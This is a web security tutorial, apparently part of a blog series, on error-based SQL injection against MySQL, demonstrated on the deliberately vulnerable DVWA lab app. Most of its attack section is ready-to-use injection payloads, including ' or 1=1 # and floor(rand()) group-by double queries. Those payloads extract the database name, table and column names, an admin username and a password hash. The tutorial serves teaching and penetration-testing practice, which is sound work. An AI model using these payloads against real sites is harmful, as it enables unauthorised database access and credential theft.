Error Based SQL Injection Explained | SQL Injection Series | Web Security

Introduction

Error based SQL injection is a technique of exploiting database servers, that relies on error messages thrown by the database server to obtain information about the structure of the database. In some cases, error-based SQL injection alone is enough for an attacker to enumerate an entire database. While errors are very useful during the development phase of a web application.

Typically the attacker asks a question to the database and it returns with an error containing the information he asked for. When exploiting an error-based SQL Injection vulnerability, the attacker can retrieve information such as table names, column names and many more information from visible database errors.

The Error-based SQL injection is applied in those scenario when the web application is only response on an error otherwise not, means when the database query ran successfully then it does not responded, but if any error occurred during query execution then it will through/display some error message. Now in this scenario we have to generate the error messages through our injected query and also supply our malicious sql query to extract the information from database. And the extracted data will print within the error message.

The injectable query will look like this :

select count(*), concat(0x3a, 0x3a, ( DATABASE_QUERY_TO_RUN ), 0x3a, 0x3a, floor(rand()*2))a from information_schema.tables group by a;

Where the query to manipulate the database will resides inside the above query. For example :

select count(*), concat(0x3a, 0x3a, ( select database() ), 0x3a, 0x3a, floor(rand()*2))a from information_schema.tables group by a;

The above sql code is built step by step by this :

select database();

select(select database());

select concat((select database()));

select concat(0x3a, 0x3a, (select database()), 0x3a, 0x3a);

select concat(0x3a, 0x3a, (select database()), 0x3a, 0x3a)a;

select concat(0x3a, 0x3a, (select database()), 0x3a, 0x3a, floor(rand()*2))a;

select concat(0x3a, 0x3a, (select database()), 0x3a, 0x3a, floor(rand()*2))a from information_schema.columns;

select concat(0x3a, 0x3a, (select database()), 0x3a, 0x3a, floor(rand()*2))a from information_schema.tables;

select count(*), concat(0x3a, 0x3a, (select database()), 0x3a, 0x3a, floor(rand()*2))a from information_schema.tables group by a;

You can also run this command sequentially and test it on the mysql console. For demonstration we are going to use DVWA Vulnerable Web App. To know more about DVWA or install it on your system pleas visit the Setting up Web Pentesting Lab.

Now at DVWA we are going to use the SQL Injection example for the demonstration and also set the security level to low in DVWA.

At this example when we provide the user id, the it will return the user details ( first name and surname) and display it on the screen.

Now when we put ' then it will show error message

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''''' at line 1

and with payload ' or 1=1 # it will shows all the users data.

Now for error based sql injection we have to use sql payload with and operator because we have to execute both side of operator to get the result. So our payload would be

1' and (select 1 from (select count(*), concat(0x3a, 0x3a, (select database()), 0x3a, 0x3a, floor(rand()*2))a from information_schema.tables group by a)b) #

Also note that if in first attempt nothing shows up then just reload the page. Now for extracting the table columns data we are going to use the same sql query which we used in Union based injection with some customization for Error-Based injection.

Extracting Table Name :

1' and (select 1 from (select count(*), concat(0x3a, 0x3a, (select table_name from information_schema.tables where table_schema =database() limit 0, 1), 0x3a, 0x3a, floor(rand()*2))a from information_schema.tables group by a)b) #

1' and (select 1 from (select count(*), concat(0x3a, 0x3a, (select table_name from information_schema.tables where table_schema =database() limit 1, 1), 0x3a, 0x3a, floor(rand()*2))a from information_schema.tables group by a)b) #

Also note that sometimes the database will show the message like this :

Subquery returns more than 1 row

So in that situation, just refresh the page or run the query again.

Extracting Column Name :

1' and (select 1 from (select count(*), concat(0x3a, 0x3a, (select column_name from information_schema.columns where table_name ="users" limit 0, 1), 0x3a, 0x3a, floor(rand()*2))a from information_schema.tables group by a)b) #

1' and (select 1 from (select count(*), concat(0x3a, 0x3a, (select column_name from information_schema.columns where table_name ="users" limit 2, 1), 0x3a, 0x3a, floor(rand()*2))a from information_schema.tables group by a)b) #

1' and (select 1 from (select count(*), concat(0x3a, 0x3a, (select column_name from information_schema.columns where table_name ="users" limit 3, 1), 0x3a, 0x3a, floor(rand()*2))a from information_schema.tables group by a)b) #

Now extracting the username and password from the database :

1' and (select 1 from (select count(*), concat(0x3a, 0x3a, (select user from users limit 0, 1), 0x3a, 0x3a, floor(rand()*2))a from information_schema.tables group by a)b) #

username : admin

1' and (select 1 from (select count(*), concat(0x3a, 0x3a, (select password from users limit 0, 1), 0x3a, 0x3a, floor(rand()*2))a from information_schema.tables group by a)b) #

password : 5f4dcc3b5aa765d61d8327deb882cf99

Conclusion

An error-based SQL injection is the easiest to exploit, but the only problem with this technique is that it works only with MySQL server. In this technique, the attacker cause an web application to throw an error to extract the database. In the next post we will the Blind SQL injection.